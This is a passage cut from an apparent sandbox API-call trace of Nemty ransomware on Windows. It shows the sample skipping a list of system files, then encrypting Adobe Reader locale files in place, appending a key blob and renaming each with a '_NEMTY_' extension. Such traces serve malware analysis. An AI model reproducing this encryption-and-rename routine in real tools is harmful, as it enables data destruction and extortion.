lpUsedDefaultChar=0x0) returned 12 [0184.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.TUR", lpUsedDefaultChar=0x0) returned 12 [0184.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.804] Sleep (dwMilliseconds=0x5) [0184.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21cd8650, dwHighDateTime=0x1d561e8)) [0184.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21cd8650, dwHighDateTime=0x1d561e8)) [0184.811] GetLastError () returned 0x0 [0184.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.811] GetLastError () returned 0x0 [0184.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.811] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.811] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.812] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.812] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="lnZ/XyZvoppAUyl8m3acP6rzNgnom0CXJysA3OCnCIBAzwHzDRMB4JZ+s8C3PZg1\r\n1gA1rvf+BQuSxwDWy734fVLRmd5tgcWgj7JOg9dOIifIu3y7jmdx9T8DkbfZQG0x\r\ntB1gzZZ2apCSvwCW1LxteojGMpeUFB+VD21JrpIRt7iEquJBKPXBD3kZXl8wy92d\r\n4QbgXZiW2wdh+N8rVPOsmP4011KfivIo/Zdwh0RxJGSY677jC9btl7aFiVq62n/d\r\nLzUwhpBf/OrJf2M7CdQQJHwHiGYFsOzYF/LLLfcOkqrhZRegIur54Wm5OmTpPLuG\r\n5fy0wEkECuhb3ys0pna0Fg==\r\n", pcchString=0x653e5dc) returned 1 [0184.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.812] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Acroform.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\acroform.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.813] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=397824) returned 1 [0184.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.813] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.813] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.825] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.825] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.825] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=397824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x61200 [0184.825] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.827] CloseHandle (hObject=0x2e8) returned 1 [0184.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.827] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Acroform.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\acroform.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Acroform.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\acroform.tur._nemty_kgobjgd_")) returned 1 [0184.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.828] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.TUR", cAlternateFileName="ADOBEC~1.TUR")) returned 1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2=".") returned 1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="..") returned 1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="...") returned 1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="windows") returned -1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="rsa") returned -1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="NTDETECT.COM") returned -1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="ntldr") returned -1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="MSDOS.SYS") returned -1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="IO.SYS") returned -1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="boot.ini") returned -1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="boot.ini") returned -1 [0184.828] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="AUTOEXEC.BAT") returned -1 [0184.829] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="ntuser.dat") returned -1 [0184.829] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="desktop.ini") returned -1 [0184.829] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="CONFIG.SYS") returned -1 [0184.829] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="RECYCLER") returned -1 [0184.829] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="BOOTSECT.BAK") returned -1 [0184.829] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="bootmgr") returned -1 [0184.829] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="programdata") returned -1 [0184.829] lstrcmpiW (lpString1="AdobeCollabSync.TUR", lpString2="appdata") returned -1 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.TUR", lpUsedDefaultChar=0x0) returned 19 [0184.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0184.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.TUR", lpUsedDefaultChar=0x0) returned 19 [0184.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0184.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.TUR", lpUsedDefaultChar=0x0) returned 19 [0184.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.TUR", lpUsedDefaultChar=0x0) returned 19 [0184.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0184.829] Sleep (dwMilliseconds=0x5) [0184.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21d24910, dwHighDateTime=0x1d561e8)) [0184.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21d24910, dwHighDateTime=0x1d561e8)) [0184.842] GetLastError () returned 0x0 [0184.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.842] GetLastError () returned 0x0 [0184.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0184.843] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.843] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.843] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0184.843] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="pG71pBUfzK/RJ33d1fkqceWHMWi/X8toPz9zNujCZeKTRHeFtp1EWyTpzrxUJ3yr\r\nvODnVAayhql/+jMYrF1nON8pIkJopQFA7ssgrUeYP9M8yzEf5J+yp1K5co6a8SfV\r\nWcnNduWo5X1bGj6PM3LJgfHH4fKR8CSdMWyEfflEVkGIuCodMoZystg3RNy89l4a\r\np+xVikwNYPMnl7+2mOlqpX9vt3tBBxW4z6w228yW5sKzhJnNdc82h/D71h8B/eaz\r\n2PIFd39jUqmj1uarq5XiaI7yI1CmDdh/lXZ02k4f59w7IE/yAw0/vs4YXx333rh3\r\np7j+wF/Os5HHzaqB/qJAvQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0184.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0184.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.843] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\AdobeCollabSync.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\adobecollabsync.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.843] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0184.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0184.843] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.843] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0184.845] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.845] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0184.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.846] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0184.846] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.846] CloseHandle (hObject=0x2e8) returned 1 [0184.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0184.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0184.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0184.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0184.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0184.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0184.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0184.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0184.846] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\AdobeCollabSync.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\adobecollabsync.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\AdobeCollabSync.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\adobecollabsync.tur._nemty_kgobjgd_")) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.847] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.TUR", cAlternateFileName="")) returned 1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2=".") returned 1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="..") returned 1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="...") returned 1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="windows") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="rsa") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="NTDETECT.COM") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="ntldr") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="MSDOS.SYS") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="IO.SYS") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="boot.ini") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="boot.ini") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="AUTOEXEC.BAT") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="ntuser.dat") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="desktop.ini") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="CONFIG.SYS") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="RECYCLER") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="BOOTSECT.BAK") returned -1 [0184.847] lstrcmpiW (lpString1="Annots.TUR", lpString2="bootmgr") returned -1 [0184.848] lstrcmpiW (lpString1="Annots.TUR", lpString2="programdata") returned -1 [0184.848] lstrcmpiW (lpString1="Annots.TUR", lpString2="appdata") returned -1 [0184.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.848] 